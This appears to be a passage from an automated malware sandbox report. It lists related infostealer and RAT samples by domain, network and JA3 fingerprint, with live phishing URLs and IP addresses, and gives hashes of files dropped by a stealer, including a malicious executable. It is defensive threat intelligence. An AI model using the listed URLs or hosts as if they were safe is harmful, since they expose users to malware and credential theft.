	file.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	172.67.75.163
	cKt8r2v7Gy.exe	Get hash	malicious	Unknown	Browse	104.26.8.59
ipinfo.io	i3F8zuP3u9.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	Z66MsXpleT.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	34.117.59.81
	eSLlhErJ0q.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	34.117.59.81
	IDM_ACT.exe	Get hash	malicious	Fredy Stealer	Browse	34.117.59.81
	https://sesh-gangrene.shop/	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	IDM_ACT.exe	Get hash	malicious	Fredy Stealer	Browse	34.117.59.81
	iBO7gzlZr3.exe	Get hash	malicious	LummaC	Browse	34.117.59.81
	trkfmve.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	http://telegramr.club/	Get hash	malicious	Telegram Phisher	Browse	34.117.59.81
	https://1e3a.uuzkklq.workers.dev/?itin_tlea	Get hash	malicious	Unknown	Browse	34.117.59.81
steamcommunity.com	file.exe	Get hash	malicious	Vidar	Browse	23.197.127.21
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	23.199.218.33
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.197.127.21
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	23.197.127.21
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	23.197.127.21
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	2.18.131.137
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	23.192.247.89
	Setup.exe	Get hash	malicious	Vidar	Browse	23.214.234.105
iplogger.org	abc0f6a2936703cd32608e7a0c06cd7b1da2f012ad7eb.exe	Get hash	malicious	CryptOne, Nymaim, PrivateLoader, RedLine, SmokeLoader, onlyLogger	Browse	172.67.132.113
	ExeFile (331).exe	Get hash	malicious	Unknown	Browse	172.67.132.113
	ExeFile (71).exe	Get hash	malicious	Unknown	Browse	172.67.132.113
	ExeFile (206).exe	Get hash	malicious	RMSRemoteAdmin, Xmrig	Browse	104.21.4.208
	cheat_roblox.exe	Get hash	malicious	XWorm	Browse	172.67.132.113
	roblox cheat.exe	Get hash	malicious	XWorm	Browse	104.21.4.208
	cheat_roblox.exe	Get hash	malicious	XWorm	Browse	104.21.4.208
	roblox cheat.exe	Get hash	malicious	XWorm	Browse	172.67.132.113
	FEB32B614BC7F38CC0B553B5FEE80B7E68AD8AE78DF1F1CAE4016A5AA1C4677A.exe	Get hash	malicious	Bdaejec	Browse	172.67.132.113
	B111141595018D6980A609315F572F827D7FA913454A785EEBC7376019ECE195.exe	Get hash	malicious	Bdaejec	Browse	104.21.4.208

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TSSCOM-ASRU	Z66MsXpleT.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	195.10.205.48
	eSLlhErJ0q.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	195.10.205.48
	iBO7gzlZr3.exe	Get hash	malicious	LummaC	Browse	195.10.205.48
	ORDERDATASHEET#PO8738763.scr.exe	Get hash	malicious	AgentTesla, RedLine, SugarDump, XWorm	Browse	195.10.205.94
	RFQ 10046335 PO 4502042346 PR 11148099 411128.exe	Get hash	malicious	RedLine	Browse	195.10.205.102
	sWXyzk4Kv3.exe	Get hash	malicious	AsyncRAT	Browse	195.10.205.90
	SecuriteInfo.com.Win32.TrojanX-gen.9663.10822.exe	Get hash	malicious	Xmrig	Browse	195.10.205.162
	JCqU250N6g.exe	Get hash	malicious	RedLine	Browse	195.10.205.91
	1f3d6f01961645f.exe	Get hash	malicious	Unknown	Browse	195.10.205.74
	1f3d6f01961645f.exe	Get hash	malicious	Unknown	Browse	195.10.205.74
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	Z66MsXpleT.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	eSLlhErJ0q.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	http://westburypublishing.com/	Get hash	malicious	Unknown	Browse	104.26.3.46 172.67.75.163 34.117.59.81
	Loader.exe	Get hash	malicious	LummaC	Browse	104.26.3.46 172.67.75.163 34.117.59.81
	If doesnt work open it.exe	Get hash	malicious	LummaC	Browse	104.26.3.46 172.67.75.163 34.117.59.81
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.26.3.46 172.67.75.163 34.117.59.81
	NewInst.exe	Get hash	malicious	LummaC	Browse	104.26.3.46 172.67.75.163 34.117.59.81
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.26.3.46 172.67.75.163 34.117.59.81
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.26.3.46 172.67.75.163 34.117.59.81
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.26.3.46 172.67.75.163 34.117.59.81
	file.exe	Get hash	malicious	LummaC	Browse	104.26.3.46 172.67.75.163 34.117.59.81
	rBslc_Pymt-Hs.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.26.3.46 172.67.75.163 34.117.59.81
51c64c77e60f3980eea90869b68c58a8	file.exe	Get hash	malicious	Vidar	Browse	94.130.188.148
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	94.130.188.148
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	94.130.188.148
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	94.130.188.148
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	94.130.188.148
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	94.130.188.148
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	94.130.188.148
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	94.130.188.148
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	94.130.188.148
	Setup.exe	Get hash	malicious	Vidar	Browse	94.130.188.148
37f463bf4616ecd445d4a1937da06e19	Thermo Fisher RFQ_TFS-1207.com.exe	Get hash	malicious	GuLoader	Browse	76.76.21.241 23.210.122.61
	file.exe	Get hash	malicious	Vidar	Browse	76.76.21.241 23.210.122.61
	Invoice.wsf	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	76.76.21.241 23.210.122.61
	x64_installer__v4.6.0.msi	Get hash	malicious	Unknown	Browse	76.76.21.241 23.210.122.61
	SHIPMENT_DOCMSS24071327.exe	Get hash	malicious	GuLoader	Browse	76.76.21.241 23.210.122.61
	hhs.exe	Get hash	malicious	Unknown	Browse	76.76.21.241 23.210.122.61
	x64_installer__v4.5.9.msi	Get hash	malicious	Unknown	Browse	76.76.21.241 23.210.122.61
	3Ojkq6hcM1.msi	Get hash	malicious	Unknown	Browse	76.76.21.241 23.210.122.61
	Nettably.exe	Get hash	malicious	Snake Keylogger	Browse	76.76.21.241 23.210.122.61
	WEAREX_IHRACAT.exe	Get hash	malicious	GuLoader	Browse	76.76.21.241 23.210.122.61

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBAEHCAEGDHJKFHJKFIJKJEGHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGDGHCBGDHJJKECAECBAEGCBGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CTV Game Plugin 8.29.45\CTV Game Plugin 8.29.45.exe

Download File

Process:	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3554571
Entropy (8bit):	6.415412010753764
Encrypted:	false
SSDEEP:	98304:OEOL3ma2wof6Dd0JYNHg5V3UvBsrLSxuj3:OEOL3mdwdd0JYN23zSe
MD5:	D59C6831D558B3F9F0B80F1B28DA5C57
SHA1:	F057C60949DDA343EC662BB771A8883F873EF353
SHA-256:	A197299BDFB75E255B24601F44ACFF33902964E90A2969BCB2F1138C6DB261F3
SHA-512:	272F7F0006EBB7C04BF8774E756F9C4EA00634173EBF147C9F189A2BDCFB2C5EA16CE36F513D5511EB70E42F6C522973AF4AE7C7E812B83320A6A471EDC57B15
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....]J_..........#..............................@..........................p6.............................................t........................................................................................................................text............................... ..`.rdata..>........ ..................@..@.data...7T... ...0... ..............@....rsrc.... ....... ...P..............@..@.vhead2....... ......p .............a...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBGHIIJDGHCBFIECBKEG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GCBGCGHDGIEGCBFIEGCBAKJJEB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCAAAAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFHIJKK\AECAKE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFHIJKK\DBAAFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFHIJKK\DGCBAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFHIJKK\DGCBAF-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFHIJKK\GIJJKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IJKJJKFHIJKK\HCAKFB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFHIJKK\IJKFHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFHIJKK\JKFIDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFHIJKK\JKFIDG-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFHIJKK\KFCFIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFHIJKK\KKECBF

Download File

